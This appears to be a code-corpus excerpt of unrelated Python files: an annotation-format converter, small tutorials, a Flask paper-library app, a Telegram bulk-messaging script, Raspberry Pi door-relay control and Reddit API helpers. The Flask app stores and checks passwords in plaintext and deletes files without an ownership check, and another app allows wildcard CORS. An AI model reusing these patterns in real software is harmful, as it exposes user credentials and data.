set(self.cat_to_imgs[cat_id]) return list(ids) def load_annos(self, ids=[]): """Load annotations with the specified ids. :param ids (int array) : integer ids specifying annos :return: annos (object array) : loaded ann objects """ if _is_array_like(ids): return [self.annos[id] for id in ids] elif type(ids) == int: return [self.annos[ids]] def load_cats(self, ids=[]): """Load cats with the specified ids. :param ids (int array) : integer ids specifying cats :return: cats (object array) : loaded cat objects """ if _is_array_like(ids): return [self.cats[id] for id in ids] elif type(ids) == int: return [self.cats[ids]] def load_imgs(self, ids=[]): """Load annos with the specified ids. :param ids (int array) : integer ids specifying img :return: imgs (object array) : loaded img objects """ if _is_array_like(ids): return [self.imgs[id] for id in ids] elif type(ids) == int: return [self.imgs[ids]] def parse(self, imgs_data, cats_data, anno_data): # Dict to hold parsed data data = {} # Track and report progress using progress bar progress_length = len(anno_data) progress_cnt = 0 print_progress_bar( 0, progress_length, prefix="\nCOCO Parsing:".ljust(15), suffix="Complete", length=40, ) for anno in anno_data: image_id = anno["image_id"] cls_id = anno["category_id"] filename = None img_width = None img_height = None cls = None for info in imgs_data: if info["id"] == image_id: filename, img_width, img_height = ( info["file_name"].split(".")[0], info["width"], info["height"], ) for category in cats_data: if category["id"] == cls_id: cls = category["name"] size = {"width": img_width, "height": img_height, "depth": "3"} bndbox = { "xmin": anno["bbox"][0], "ymin": anno["bbox"][1], "xmax": anno["bbox"][2] + anno["bbox"][0], "ymax": anno["bbox"][3] + anno["bbox"][1], } obj_info = {"name": cls, "bndbox": bndbox} if filename in data: obj_idx = str(int(data[filename]["objects"]["num_obj"])) data[filename]["objects"][str(obj_idx)] = obj_info data[filename]["objects"]["num_obj"] = int(obj_idx) + 1 elif filename not in data: obj = {"num_obj": "1", "0": obj_info} data[filename] = {"size": size, "objects": obj} print_progress_bar( progress_cnt + 1, progress_length, prefix="COCO Parsing:".ljust(15), suffix="Complete", length=40, ) progress_cnt += 1 return True, data class Yolo: """Handler Class for YOLO Format.""" def __init__(self, cls_list_path): with open(cls_list_path, "r") as file: l = file.read().splitlines() self.cls_list = l def convert_coordinates(self, size, box): dw = 1.0 / size[0] dh = 1.0 / size[1] # Calculate box coordinates # (xmin + xmax / 2) x = (box[0] + box[1]) / 2.0 # (ymin + ymax / 2) y = (box[2] + box[3]) / 2.0 # Calculate width and height # (xmax - xmin) = w w = box[1] - box[0] # (ymax - ymin) = h h = box[3] - box[2] x = x * dw w = w * dw y = y * dh h = h * dh return (round(x, 3), round(y, 3), round(w, 3), round(h, 3)) def parse(self, label_path, img_path, img_type=".jpg"): try: (dir_path, dir_names, filenames) = next( os.walk(os.path.abspath(label_path)) ) data = {} progress_length = len(filenames) progress_cnt = 0 print_progress_bar( 0, progress_length, prefix="\nYOLO Parsing:".ljust(15), suffix="Complete", length=40, ) for filename in filenames: txt = open(os.path.join(dir_path, filename), "r") filename = filename.split(".")[0] img = Image.open(os.path.join(img_path, "".join([filename, img_type]))) img_width = str(img.size[0]) img_height = str(img.size[1]) img_depth = 3 size = {"width": img_width, "height": img_height, "depth": img_depth} obj = {} obj_cnt = 0 for line in txt: elements = line.split(" ") name_id = elements[0] xminAddxmax = float(elements[1]) * (2.0 * float(img_width)) yminAddymax = float(elements[2]) * (2.0 * float(img_height)) w = float(elements[3]) * float(img_width) h = float(elements[4]) * float(img_height) xmin = (xminAddxmax - w) / 2 ymin = (yminAddymax - h) / 2 xmax = xmin + w ymax = ymin + h bndbox = { "xmin": float(xmin), "ymin": float(ymin), "xmax": float(xmax), "ymax": float(ymax), } obj_info = {"name": name_id, "bndbox": bndbox} obj[str(obj_cnt)] = obj_info obj_cnt += 1 obj["num_obj"] = obj_cnt data[filename] = {"size": size, "objects": obj} print_progress_bar( progress_cnt + 1, progress_length, prefix="YOLO Parsing:".ljust(15), suffix="Complete", length=40, ) progress_cnt += 1 return True, data except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] msg = "ERROR : {}, moreInfo : {}\t{}\t{}".format( e, exc_type, fname, exc_tb.tb_lineno ) return False, msg def generate(self, data): try: progress_length = len(data) progress_cnt = 0 print_progress_bar( 0, progress_length, prefix="\nYOLO Generating:".ljust(15), suffix="Complete", length=40, ) result = {} for key in data: img_width = int(data[key]["size"]["width"]) img_height = int(data[key]["size"]["height"]) contents = "" for idx in range(0, int(data[key]["objects"]["num_obj"])): xmin = data[key]["objects"][str(idx)]["bndbox"]["xmin"] ymin = data[key]["objects"][str(idx)]["bndbox"]["ymin"] xmax = data[key]["objects"][str(idx)]["bndbox"]["xmax"] ymax = data[key]["objects"][str(idx)]["bndbox"]["ymax"] b = (float(xmin), float(xmax), float(ymin), float(ymax)) bb = self.convert_coordinates((img_width, img_height), b) cls_id = self.cls_list.index(data[key]["objects"][str(idx)]["name"]) bndbox = "".join(["".join([str(e), " "]) for e in bb]) contents = "".join([contents, str(cls_id), " ", bndbox[:-1], "\n"]) result[key] = contents print_progress_bar( progress_cnt + 1, progress_length, prefix="YOLO Generating:".ljust(15), suffix="Complete", length=40, ) progress_cnt += 1 return True, result except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] msg = "ERROR : {}, moreInfo : {}\t{}\t{}".format( e, exc_type, fname, exc_tb.tb_lineno ) return False, msg def save(self, data, save_path, img_path, img_type, manifest_path): try: progress_length = len(data) progress_cnt = 0 print_progress_bar( 0, progress_length, prefix="\nYOLO Saving:".ljust(15), suffix="Complete", length=40, ) m_path = os.path.abspath(os.path.join(manifest_path, "manifest.txt")) with open(m_path, "w") as manifest_file: for key in data: manifest_file.write( os.path.abspath( os.path.join(img_path, "".join([key, img_type, "\n"])) ) ) with open( os.path.abspath( os.path.join(save_path, "".join([key, ".txt"])) ), "w", ) as label: label.write(data[key]) print_progress_bar( progress_cnt + 1, progress_length, prefix="YOLO Saving:".ljust(15), suffix="Complete", length=40, ) progress_cnt += 1 return True, None except Exception as e: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] msg = "ERROR : {}, moreInfo : {}\t{}\t{}".format( e, exc_type, fname, exc_tb.tb_lineno ) return False, msg
python
''' Dictionaries in python ''' # %% # create an example dictionary xDict = { 'firstName': 'Nagasudhir', 'lastname': 'Pulla', 'age': 28, 'hobbies': ['tv', 'playing', 'youtube'], 'metaData': { 'proficiency': 'level 1', 'designation': 'Deputy Manager', 'department': 'IT', 'languages': ['C#', 'Javascript', 'HTML', 'CSS', 'typescript', 'python'] } } # %% # access all the keys of a dictionary using 'keys' function xKeys = list(xDict.keys()) print('The keys of dictionary are ...') print(xKeys) # %% # check if key is present in a dictionary using in operator if 'age' in xDict: print('age key is present in the dictionary') print('Is location key present in xDict? - {0}'.format('location' in xDict)) # %% # access all the values of a dictionary using 'values' function xVals = list(xDict.values()) print('The values of dictionary are ...') print(xVals) # %% # get all the values types of dictionary into an array using list comprehension typesArr = [type(x) for x in xDict.values()] print(typesArr) # %% # inserting/editing a key-value pair in a dictionary xDict['location'] = 'Mumbai' # %% # accessing dictionary values outputStatement = 'The person name is {0} {1}.\nHe lives at {2}, his hobbies are {3}.\nHe knows {4}'\ .format(xDict['firstName'], xDict['lastname'], xDict['location'], ', '.join(xDict['hobbies']), ', '.join(xDict['metaData']['languages'])) print(outputStatement) # %%
python
import multiprocessing as mproc import logging import numpy as np global_mp_vars = {} def eval_input(network, input_test_case) -> np.float64: result = input_test_case.copy() for comp in network: if input_test_case[comp[0]] > input_test_case[comp[1]]: result[[comp[0], comp[1]]] = result[[comp[1], comp[0]]] return np.all(result[:-1] <= result[1:]).astype(np.float64) def init_worker(mat, mat_shape): global_mp_vars['mat'] = mat global_mp_vars['mat_shape'] = mat_shape def worker(first, last, net_pop, input_pop): tmp = np.frombuffer(global_mp_vars['mat'], dtype=np.float64) \ .reshape(global_mp_vars['mat_shape']) for i, net in enumerate(net_pop): for j, input_case in enumerate(input_pop): val = eval_input(net, input_case) tmp[first+i, j] = val def evaluate(population: list, input_population: list, multiprocessing: bool = False) -> np.ndarray: net_pop_size = len(population) input_pop_size = len(input_population) if multiprocessing: ctype = np.ctypeslib.as_ctypes_type(np.float64) shared_matrix = mproc.RawArray(ctype, net_pop_size * input_pop_size) fit_matrix = np.frombuffer(shared_matrix, np.float64) \ .reshape((net_pop_size, input_pop_size)) n_procs = mproc.cpu_count() step = np.ceil(net_pop_size / n_procs).astype(int) initargs = (shared_matrix, (net_pop_size, input_pop_size)) with mproc.Pool(processes=n_procs, initializer=init_worker, initargs=initargs) as pool: for i in range(n_procs): first = step * i last = step * (i + 1) args = (first, last, population[first:last], input_population) pool.apply_async(worker, args=args) pool.close() pool.join() net_fit, input_fit = (np.sum(fit_matrix, axis=1) / input_pop_size, 1 - np.sum(fit_matrix, axis=0) / net_pop_size) return net_fit, input_fit else: # int? shouldn't it be np.float64? fit_matrix = np.empty((net_pop_size, input_pop_size), dtype=int) for i, net in enumerate(population): for j, input_case in enumerate(input_population): fit_matrix[i, j] = eval_input(net, input_case) net_fit, input_fit = (np.sum(fit_matrix, axis=1) / input_pop_size, 1 - np.sum(fit_matrix, axis=0) / net_pop_size) return net_fit, input_fit
python
# coding=utf-8 # -------------------------------------------------------------------------- # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class EntityCommonProperties(Model): """Entity common property bag. Variables are only populated by the server, and will be ignored when sending a request. :ivar additional_data: A bag of custom fields that should be part of the entity and will be presented to the user. :vartype additional_data: dict[str, object] :ivar friendly_name: The graph item display name which is a short humanly readable description of the graph item instance. This property is optional and might be system generated. :vartype friendly_name: str """ _validation = { 'additional_data': {'readonly': True}, 'friendly_name': {'readonly': True}, } _attribute_map = { 'additional_data': {'key': 'additionalData', 'type': '{object}'}, 'friendly_name': {'key': 'friendlyName', 'type': 'str'}, } def __init__(self, **kwargs) -> None: super(EntityCommonProperties, self).__init__(**kwargs) self.additional_data = None self.friendly_name = None
python
class Solution: def equalSubstring(self, s, t, maxCost): # sliding window _arr = [abs(ord(s[i])-ord(t[i])) for i in range(len(s))] i = 0 for j in range(len(_arr)): maxCost -= _arr[j] if maxCost < 0: maxCost += _arr[i] i += 1 return j - i + 1
python
import os from flask import Flask from flask.ext import restful from flask.ext.restful import reqparse, Api from flask.ext.sqlalchemy import SQLAlchemy from flask.ext.bcrypt import Bcrypt from flask.ext.httpauth import HTTPBasicAuth basedir = os.path.join(os.path.abspath(os.path.dirname(__file__)), '../') app = Flask(__name__) app.config.from_object('app.config') # flask-sqlalchemy app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'app.sqlite') db = SQLAlchemy(app) # flask-restful api = restful.Api(app) # flask-bcrypt flask_bcrypt = Bcrypt(app) # flask-httpauth auth = HTTPBasicAuth() @app.after_request def after_request(response): response.headers.add('Access-Control-Allow-Origin', '*') response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization') response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE') return response import views
python
# Program to send bulk customized messages through Telegram Desktop application # Author @inforkgodara import pyautogui import pandas import time excel_data = pandas.read_excel('Recipients data.xlsx', sheet_name='Recipients') count = 0 time.sleep(3) for column in excel_data['Username'].tolist(): pyautogui.press('esc') pyautogui.hotkey('ctrl', 'f') time.sleep(1) pyautogui.write(str(excel_data['Username'][count])); pyautogui.press('enter') time.sleep(2) pyautogui.press('down') pyautogui.press('enter') pyautogui.write(str(excel_data['Message'][0])); pyautogui.press('enter') pyautogui.press('esc') count = count + 1 print('The script executed successfully.')
python
# -*- coding: future_fstrings -*- """ This module defines a single Application Item in the AppsPanel. """ from xdgprefs.gui.custom_item import CustomItem def _get_icon(icon_name): """Return the path to an icon.""" theme = 'Adwaita' size = '256x256' path = f'/usr/share/icons/{theme}/{size}/mimetypes/{icon_name}.png' return path def _get_types(type_list): if type_list is None: return '' else: return ', '.join(type_list) class AppItem(CustomItem): def __init__(self, app, listview): CustomItem.__init__(self, listview, app.name, app.comment, _get_types(app.mime_type), _get_icon(app.icon)) self.app = app
python
import os from datetime import timedelta import sqlite import time import timeutils # self package import sessions # self package import mdfactory # self package import path # self package from flask import Flask, render_template, request, redirect, url_for, session from werkzeug.utils import secure_filename from flaskext.markdown import Markdown app = Flask(__name__, template_folder='templates', static_folder='static') app.config['SECRET_KEY'] = os.urandom(24) #app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7) Markdown(app) app.jinja_env.auto_reload = True app.config['TEMPLATES_AUTO_RELOAD'] = True basedir = os.path.abspath(os.path.dirname(__file__)) basedir = basedir + '/static/refs/' moviedir = os.path.abspath(os.path.dirname(__file__)) + '/static/movies/' @app.route('/') def main(): if 'username' in session.keys() and 'uid' in session.keys(): return redirect(url_for('show_papers', username=session['username'])) else: return redirect(url_for('login')) @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'GET': return render_template("login.html") if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') users = sqlite.select_user(username) if len(users) == 0: return "Error! Cannot find this username!" else: if password == users[0][2]: session['uid'] = users[0][0] session['username'] = username return redirect(url_for('show_papers', username=username)) else: return "Password error!" return "Error!" @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'GET': return render_template("register.html") if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') email = request.form.get('email') users = sqlite.select_user(username) if len(users) != 0: return "Error! This username has been registered!" else: sqlite.add_user(username, password) return redirect(url_for('login')) return "Error!" @app.route('/about', methods=['GET']) def about(): text = mdfactory.md2text('about') return render_template("about.html", text=text) @app.route('/movies', methods=['GET']) @app.route('/movies/', methods=['GET']) def movie(): movies = os.listdir(moviedir) return render_template("movie.html", movies=movies) @app.route('/movies/<moviename>', methods=['GET']) def watch_movie(moviename): moviepath = '/static/movies/' + moviename return render_template("watch_movie.html", name=moviename, path=moviepath) @app.route('/delete', methods=['GET', 'POST']) def delete_paper(): if request.method == 'POST': fileid = request.form.get('fileid') if fileid is not None: paper = sqlite.select_paper(fileid) filename = paper[0][2] if os.path.exists(basedir+filename): os.remove(basedir+filename) sqlite.delete_paper(fileid) return redirect(url_for('show_papers', username=session['username'])) @app.route('/read/<paperid>', methods=['GET']) def read_paper(paperid): paper_info = sqlite.select_paper(paperid) return render_template("read.html", paper=paper_info) @app.route('/<username>/new', methods=['GET', 'POST']) def add_paper(username): if request.method == 'GET': if username != session['username']: return redirect(url_for('login')) if username == session['username']: return render_template("add_paper.html", username=username) if request.method == 'POST': file = request.files.get('file') name = secure_filename(file.filename) file.save(basedir + name) desc = request.form.get('desc') cite = request.form.get('cite') sqlite.add_paper(session['uid'], name, time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())), desc, cite, '') return redirect(url_for('show_papers', username=session['username'])) @app.route('/<username>') @app.route('/<username>/') def show_papers(username): if 'username' not in session.keys() or 'uid' not in session.keys() or username != session['username']: return redirect(url_for('login')) if username == session['username']: papers = sqlite.show_papers(session['uid']) temp = [] for i in range(0, len(papers)): temp.append(list(papers[i])) temp[i][3] = timeutils.perform(temp[i][3]) temp[i][2] = temp[i][2].split('.')[0] temp.reverse() return render_template("papers.html", papers=temp, username=username) if __name__ == "__main__": app.run(debug=False, port=80, host='0.0.0.0')
python
# -*- coding: utf-8 -*- # Copyright: 2016-2018, Jens Carroll # These sources are released under the terms of the MIT license: see LICENSE import time, os, signal, random, math from threading import Lock, Thread, Event from logger import Logger import RPi.GPIO as GPIO OPEN_FRONT_DOOR_OUTPUT = 4 # Pin 5 OPEN_APARTMENT_DOOR_OUTPUT = 17 # Pin 11 RING_INPUT = 15 # Pin 10 lock = Lock() class BreakoutException(Exception): pass class OpenFrontDoorThread(Thread): def __init__(self, logger, wait = False, test_mode = False): self._wait = wait self._logger = logger self._test_mode = test_mode super(OpenFrontDoorThread, self).__init__() def run(self): delay = random.randint(3, 6) if self._wait: time.sleep(delay) # wait 3-6 sec until we open the door if self._test_mode: self._logger.info("** Opendoor in test mode. Door will not be opened. **") if not self._test_mode: GPIO.output(OPEN_FRONT_DOOR_OUTPUT, GPIO.LOW) # Relais close self._logger.warn("Front door relais on (4 secs).") time.sleep(4) # Relais closed for for 4 secs. if not self._test_mode: GPIO.output(OPEN_FRONT_DOOR_OUTPUT, GPIO.HIGH) # Relais open self._logger.warn("Front door relais off.") class OpenApartmentDoorThread(Thread): def __init__(self, logger, wait = 0, loops = 1, delay = 55, pipe = None, test_mode = False): super(OpenApartmentDoorThread, self).__init__() self._logger = logger self._wait = wait # secs before execution self._loops = loops # to prolong door opening self._loop_delay = delay # delay in secs for loops > 1 self._pipe = pipe self._stop_event = Event() self._test_mode = test_mode def _send_to_app(self, msg): if self._pipe != None: self._pipe.send_to_app(msg) def _stopped(self): return self._stop_event.is_set() def stop(self): self._stop_event.set() def run(self): if lock.acquire(False): try: self._logger.debug("Enter apartment door thread (wait=%d, loops=%d, delay=%d)." % (self._wait, self._loops, self._loop_delay)) if self._wait > 0: time.sleep(self._wait) # wait ? secs before we close the relais self._logger.debug("Continue apartment door thread.") for i in range(0, self._loops): if self._test_mode: self._logger.info("** Opendoor in test mode. Door will not be opened. **") self._logger.warn("Apartment door relais on (loop: %d of %d)." % (i+1, self._loops)) if not self._test_mode: GPIO.output(OPEN_APARTMENT_DOOR_OUTPUT, GPIO.LOW) # Relais close time.sleep(1) # Relais closed for 1 sec. if not self._test_mode: GPIO.output(OPEN_APARTMENT_DOOR_OUTPUT, GPIO.HIGH) # Relais open self._logger.warn("Apartment door relais off.") if self._loops > 1: for j in range(0, self._loop_delay): if self._stopped(): raise BreakoutException counter = self._loops * self._loop_delay - i * self._loop_delay - j self._send_to_app("APARTMENT DOOR TIMER %d" % counter) time.sleep(1) except BreakoutException: self._logger.warn("Apartment door timer stopped.") finally: self._send_to_app("APARTMENT DOOR TIMER OFF") lock.release() class Port(object): def __init__(self, logger, test_mode=False): self._logger = logger self._doorbell_rang = False self._test_mode = test_mode self._setup_gpio() self._add_event_detect() self._thread = None signal.signal(signal.SIGALRM, self._timeout_callback) self._logger.debug("Port initialized!") def _setup_gpio(self): """ Setup GPIO ports """ GPIO.setwarnings(False) GPIO.setmode(GPIO.BCM) GPIO.setup(RING_INPUT, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Relais open (inverse logic) GPIO.setup(OPEN_FRONT_DOOR_OUTPUT, GPIO.OUT) GPIO.output(OPEN_FRONT_DOOR_OUTPUT, GPIO.HIGH) # Relais open (inverse logic) GPIO.setup(OPEN_APARTMENT_DOOR_OUTPUT, GPIO.OUT) GPIO.output(OPEN_APARTMENT_DOOR_OUTPUT, GPIO.HIGH) def _add_event_detect(self): """ Enable interrupts on doorbell """ GPIO.add_event_detect(RING_INPUT, GPIO.FALLING, callback = self._ringing_callback, bouncetime = 300) def _remove_event_detect(self): """ Disable interrupts on doorbell """ GPIO.remove_event_detect(RING_INPUT) def _ringing_callback(self, channel): """ Interrupt triggered (keep this callback as fast as possible) """ self._remove_event_detect() # No interrupts after that signal.setitimer(signal.ITIMER_REAL, 14) # 14 sec timeout self._doorbell_rang = True def _timeout_callback(self, a, b): signal.setitimer(signal.ITIMER_REAL, 0) # Timeout timer off self._logger.debug("Timeout callback - Doorbell Interrupts enabled again.") self._add_event_detect() def open_front_door(self): """ Keep the front door open for a few secs. """ self._logger.debug("Disable Doorbell Interrupts.") self._remove_event_detect() # No interrupts after that signal.setitimer(signal.ITIMER_REAL, 12) # 12 sec timeout thread = OpenFrontDoorThread(self._logger, False) thread.start() def open_apartment_door(self, after=None): """ Keep the apartment door open for a minute. """ wait = 0 if after == 1: wait = 60 elif after == 2: wait = 90 elif after == 3: wait = 120 thread = OpenApartmentDoorThread(self._logger, wait) thread.start() def open_apartment_door_for(self, pipe, mins): """ Keep the apartment door open for n minutes. """ self._thread = OpenApartmentDoorThread(self._logger, loops=mins, delay=59, pipe=pipe) self._thread.start() def stop_open_apartment_door_for(self): self._thread.stop() self._thread.join() self._thread = None def delayed_open_front_door(self): """ Keep the door open for a few secs, but wait a few secs before doing so. """ thread = OpenFrontDoorThread(self._logger, True, self._test_mode) thread.start() def door_ring(self): """ Check if someone rang the door bell at least once. """ if self._doorbell_rang: self._logger.debug("Ringing detected (via Interrupt) - Disabled for 14 sec.") return self._doorbell_rang def door_ring_release(self): """ Release ring_detected. """ self._doorbell_rang = False self._logger.debug("Release auto open ringing.") def main(): # Be sure we have root privileges if os.geteuid() != 0: exit("You need to have root privileges. Exiting.") logger = Logger.get(verbose = True) gpio = Port(logger) i = 0 while True: if gpio.door_ring(): gpio.door_ring_release() # every 1 sec ... we should not miss any door bells print("running %d sec." % i) i += 1 time.sleep(1) if __name__ == "__main__": main()
python
"""Provide the helper classes.""" from json import dumps from typing import TYPE_CHECKING, Generator, List, Optional, Union from ..const import API_PATH from .base import PRAWBase from .reddit.draft import Draft from .reddit.live import LiveThread from .reddit.multi import Multireddit, Subreddit if TYPE_CHECKING: # pragma: no cover import praw class DraftHelper(PRAWBase): r"""Provide a set of functions to interact with :class:`.Draft` instances. .. note:: The methods provided by this class will only work on the currently authenticated user's :class:`.Draft`\ s. """ def __call__( self, *, draft_id: Optional[str] = None ) -> Union[List["praw.models.Draft"], "praw.models.Draft"]: """Return a list of :class:`.Draft` instances. :param draft_id: When provided, return :class:`.Draft` instance (default: ``None``). :returns: A :class:`.Draft` instance if ``draft_id`` is provided. Otherwise, a list of :class:`.Draft` objects. .. note:: Drafts fetched using a specific draft ID are lazily loaded, so you might have to access an attribute to get all the expected attributes. This method can be used to fetch a specific draft by ID, like so: .. code-block:: python draft_id = "124862bc-e1e9-11eb-aa4f-e68667a77cbb" draft = reddit.drafts(draft_id=draft_id) print(draft) """ if draft_id is not None: return Draft(self._reddit, id=draft_id) return self._draft_list() def _draft_list(self) -> List["praw.models.Draft"]: """Get a list of :class:`.Draft` instances. :returns: A list of :class:`.Draft` instances. """ return self._reddit.get(API_PATH["drafts"], params={"md_body": True}) def create( self, *, flair_id: Optional[str] = None, flair_text: Optional[str] = None, is_public_link: bool = False, nsfw: bool = False, original_content: bool = False, selftext: Optional[str] = None, send_replies: bool = True, spoiler: bool = False, subreddit: Optional[ Union[str, "praw.models.Subreddit", "praw.models.UserSubreddit"] ] = None, title: Optional[str] = None, url: Optional[str] = None, **draft_kwargs, ) -> "praw.models.Draft": """Create a new :class:`.Draft`. :param flair_id: The flair template to select (default: ``None``). :param flair_text: If the template's ``flair_text_editable`` value is ``True``, this value will set a custom text (default: ``None``). ``flair_id`` is required when ``flair_text`` is provided. :param is_public_link: Whether to enable public viewing of the draft before it is submitted (default: ``False``). :param nsfw: Whether the draft should be marked NSFW (default: ``False``). :param original_content: Whether the submission should be marked as original content (default: ``False``). :param selftext: The Markdown formatted content for a text submission draft. Use ``None`` to make a title-only submission draft (default: ``None``). ``selftext`` can not be provided if ``url`` is provided. :param send_replies: When ``True``, messages will be sent to the submission author when comments are made to the submission (default: ``True``). :param spoiler: Whether the submission should be marked as a spoiler (default: ``False``). :param subreddit: The subreddit to create the draft for. This accepts a subreddit display name, :class:`.Subreddit` object, or :class:`.UserSubreddit` object. If ``None``, the :class:`.UserSubreddit` of currently authenticated user will be used (default: ``None``). :param title: The title of the draft (default: ``None``). :param url: The URL for a ``link`` submission draft (default: ``None``). ``url`` can not be provided if ``selftext`` is provided. Additional keyword arguments can be provided to handle new parameters as Reddit introduces them. :returns: The new :class:`.Draft` object. """ if selftext and url: raise TypeError("Exactly one of `selftext` or `url` must be provided.") if isinstance(subreddit, str): subreddit = self._reddit.subreddit(subreddit) data = Draft._prepare_data( flair_id=flair_id, flair_text=flair_text, is_public_link=is_public_link, nsfw=nsfw, original_content=original_content, selftext=selftext, send_replies=send_replies, spoiler=spoiler, subreddit=subreddit, title=title, url=url, **draft_kwargs, ) return self._reddit.post(API_PATH["draft"], data=data) class LiveHelper(PRAWBase): r"""Provide a set of functions to interact with :class:`.LiveThread`\ s.""" def __call__( self, id: str ) -> "praw.models.LiveThread": # pylint: disable=invalid-name,redefined-builtin """Return a new lazy instance of :class:`.LiveThread`. This method is intended to be used as: .. code-block:: python livethread = reddit.live("ukaeu1ik4sw5") :param id: A live thread ID, e.g., ``ukaeu1ik4sw5``. """ return LiveThread(self._reddit, id=id) def info(self, ids: List[str]) -> Generator["praw.models.LiveThread", None, None]: """Fetch information about each live thread in ``ids``. :param ids: A list of IDs for a live thread. :returns: A generator that yields :class:`.LiveThread` instances. Live threads that cannot be matched will not be generated. Requests will be issued in batches for each 100 IDs. .. warning:: Unlike :meth:`.Reddit.info`, the output of this method may not reflect the order of input. Usage: .. code-block:: python ids = ["3rgnbke2rai6hen7ciytwcxadi", "sw7bubeycai6hey4ciytwamw3a", "t8jnufucss07"] for thread in reddit.live.info(ids): print(thread.title) """ if not isinstance(ids, list): raise TypeError("ids must be a list") def generator(): for position in range(0, len(ids), 100): ids_chunk = ids[position : position + 100] url = API_PATH["live_info"].format(ids=",".join(ids_chunk)) params = {"limit": 100} # 25 is used if not specified for result in self._reddit.get(url, params=params): yield result return generator() def create( self, title: str, description: Optional[str] = None, nsfw: bool = False, resources: str = None, ) -> "praw.models.LiveThread": r"""Create a new :class:`.LiveThread`. :param title: The title of the new :class:`.LiveThread`. :param description: The new :class:`.LiveThread`'s description. :param nsfw: Indicate whether this thread is not safe for work (default: ``False``). :param resources: Markdown formatted information that is useful for the :class:`.LiveThread`. :returns: The new :class`.LiveThread` object. """ return self._reddit.post( API_PATH["livecreate"], data={ "description": description, "nsfw": nsfw, "resources": resources, "title": title, }, ) def now(self) -> Optional["praw.models.LiveThread"]: """Get the currently featured live thread. :returns: The :class:`.LiveThread` object, or ``None`` if there is no currently featured live thread. Usage: .. code-block:: python thread = reddit.live.now() # LiveThread object or None """ return self._reddit.get(API_PATH["live_now"]) class MultiredditHelper(PRAWBase): """Provide a set of functions to interact with multireddits.""" def __call__( self, redditor: Union[str, "praw.models.Redditor"], name: str ) -> "praw.models.Multireddit": """Return a lazy instance of :class:`.Multireddit`. :param redditor: A redditor name or :class:`.Redditor` instance who owns the multireddit. :param name: The name of the multireddit. """ path = f"/user/{redditor}/m/{name}" return Multireddit(self._reddit, _data={"name": name, "path": path}) def create( self, display_name: str, subreddits: Union[str, "praw.models.Subreddit"], description_md: Optional[str] = None, icon_name: Optional[str] = None, key_color: Optional[str] = None, visibility: str = "private", weighting_scheme: str = "classic", ) -> "praw.models.Multireddit": """Create a new :class:`.Multireddit`. :param display_name: The display name for the new multireddit. :param subreddits: Subreddits to add to the new multireddit. Can be a list of either :class:`.Subreddit` instances or subreddit display names. :param description_md: Description for the new multireddit, formatted in markdown. :param icon_name: Can be one of: ``"art and design"``, ``"ask"``, ``"books"``, ``"business"``, ``"cars"``, ``"comics"``, ``"cute animals"``, ``"diy"``, ``"entertainment"``, ``"food and drink"``, ``"funny"``, ``"games"``, ``"grooming"``, ``"health"``, ``"life advice"``, ``"military"``, ``"models pinup"``, ``"music"``, ``"news"``, ``"philosophy"``, ``"pictures and gifs"``, ``"science"``, ``"shopping"``, ``"sports"``, ``"style"``, ``"tech"``, ``"travel"``, ``"unusual stories"``, ``"video"``, or ``None``. :param key_color: RGB hex color code of the form ``"#FFFFFF"``. :param visibility: Can be one of: ``"hidden"``, ``"private"``, or ``"public"`` (default: ``"private"``). :param weighting_scheme: Can be one of: ``"classic"`` or ``"fresh"`` (default: ``"classic"``). :returns: The new :class:`.Multireddit` object. """ model = { "description_md": description_md, "display_name": display_name, "icon_name": icon_name, "key_color": key_color, "subreddits": [{"name": str(sub)} for sub in subreddits], "visibility": visibility, "weighting_scheme": weighting_scheme, } return self._reddit.post( API_PATH["multireddit_base"], data={"model": dumps(model)} ) class SubredditHelper(PRAWBase): """Provide a set of functions to interact with Subreddits.""" def __call__(self, display_name: str) -> "praw.models.Subreddit": """Return a lazy instance of :class:`.Subreddit`. :param display_name: The name of the subreddit. """ lower_name = display_name.lower() if lower_name == "random": return self._reddit.random_subreddit() if lower_name == "randnsfw": return self._reddit.random_subreddit(nsfw=True) return Subreddit(self._reddit, display_name=display_name) def create( self, name: str, title: Optional[str] = None, link_type: str = "any", subreddit_type: str = "public", wikimode: str = "disabled", **other_settings: Optional[str], ) -> "praw.models.Subreddit": """Create a new :class:`.Subreddit`. :param name: The name for the new subreddit. :param title: The title of the subreddit. When ``None`` or ``""`` use the value of ``"name"``. :param link_type: The types of submissions users can make. One of ``"any"``, ``"link"``, or ``"self"`` (default: ``"any"``). :param subreddit_type: One of ``"archived"``, ``"employees_only"``, ``"gold_only"``, ``"gold_restricted"``, ``"private"``, ``"public"``, or ``"restricted"`` (default: "public"). :param wikimode: One of ``"anyone"``, ``"disabled"``, or ``"modonly"`` (default: ``disabled``). Any keyword parameters not provided, or set explicitly to ``None``, will take on a default value assigned by the Reddit server. .. seealso:: :meth:`~.SubredditModeration.update` for documentation of other available settings. """ Subreddit._create_or_update( _reddit=self._reddit, name=name, link_type=link_type, subreddit_type=subreddit_type, title=title or name, wikimode=wikimode, **other_settings, ) return self(name)
python
